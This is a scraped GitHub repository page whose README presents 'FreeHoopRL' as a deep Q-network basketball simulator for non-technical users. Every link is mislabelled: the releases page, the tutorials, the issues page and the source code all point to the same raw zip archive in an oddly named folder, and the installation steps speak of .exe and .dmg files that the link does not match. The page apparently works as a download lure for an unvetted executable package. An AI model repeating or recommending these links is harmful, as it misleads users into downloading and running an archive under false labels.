https://github.com/sicredirc/freehooprl
🏀 Train an AI agent to master basketball shooting using a deep Q-network in a 2D environment, enhancing algorithm understanding and skill development.
https://github.com/sicredirc/freehooprl
dqn dqn-agents dqn-algorithm dqn-pytorch hoop machine-learning reinforcement-learning reinforcement-learning-algorithms
Last synced: 28 days ago
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🏀 Train an AI agent to master basketball shooting using a deep Q-network in a 2D environment, enhancing algorithm understanding and skill development.
- Host: GitHub
- URL: https://github.com/sicredirc/freehooprl
- Owner: SicrediRC
- Created: 2025-09-18T08:58:56.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2025-10-03T00:54:39.000Z (8 months ago)
- Last Synced: 2025-10-03T02:44:59.543Z (8 months ago)
- Topics: dqn, dqn-agents, dqn-algorithm, dqn-pytorch, hoop, machine-learning, reinforcement-learning, reinforcement-learning-algorithms
- Language: Python
- Size: 1.3 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🎮 FreeHoopRL - Simulate Basketball Shots with AI
## 🚀 Getting Started
Welcome to FreeHoopRL, a tool that helps you understand the DQN algorithm through a basketball shooting simulation. This application is simple to use and does not require any programming knowledge.
## 📥 Download the Application
[](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
To get started, visit the Releases page to download the latest version of FreeHoopRL. Click the link below:
[Visit the Releases Page to Download](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
## 💡 Features
- **User-Friendly Interface**: Designed for non-technical users.
- **Basketball Simulation**: Experience shooting basketballs in a controlled setting.
- **Understand DQN**: Learn about the DQN algorithm practically.
- **2D Simulation**: Simple visuals that focus on the algorithm rather than complex graphics.
- **No Air Resistance**: The simulation does not account for air resistance for easier understanding.
## 📋 System Requirements
Before downloading, ensure your system meets the following requirements:
- **Operating System**: Windows, macOS, or Linux
- **Memory**: At least 4 GB RAM
- **Storage**: Minimum 200 MB available space
- **Graphics**: Basic graphics card to run 2D simulations smoothly
- **Internet**: Required for downloading the application
## 📖 How to Use FreeHoopRL
1. **Download**: Click the link above to visit the Releases page and download the latest version.
2. **Installation**:
- For Windows: Double-click the downloaded .exe file and follow the on-screen instructions.
- For macOS: Open the .dmg file and drag the FreeHoopRL icon to your Applications folder.
- For Linux: Extract the https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip file and run the application from the extracted folder.
3. **Launching the App**: Find the FreeHoopRL icon on your desktop or in your Applications folder and double-click to open it.
4. **Starting the Simulation**:
- Once the application opens, you will see a simple interface.
- Choose your shooting angle and power.
- Hit the "Shoot" button to simulate your shot.
- Observe and learn how the DQN algorithm works in real time.
## 📊 Troubleshooting
If you encounter issues, here are common problems and solutions:
- **Application Won't Start**: Ensure your system meets the requirements mentioned above.
- **Graphics Issues**: Update your graphics drivers for better performance.
- **Simulation is Slow**: Close other applications to free up system resources.
## 🌐 Additional Resources
For more information on the DQN algorithm and machine learning, check out these resources:
- [Deep Q-Learning: A Beginner's Guide](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
- [Understanding Reinforcement Learning](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
- [Introduction to Machine Learning](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
## 🛠️ Support
For support, please reach out via the Issues page on GitHub. We appreciate your feedback and suggestions.
[Visit the Issues Page](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
## 🔗 Links
- [FreeHoopRL Source Code](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
- [Visit the Releases Page to Download](https://github.com/SicrediRC/FreeHoopRL/raw/refs/heads/main/unwrestled/Hoop_Free_RL_v1.2-beta.1.zip)
Remember, learning about algorithms can be fun and interactive with FreeHoopRL. Enjoy your basketball shooting simulations!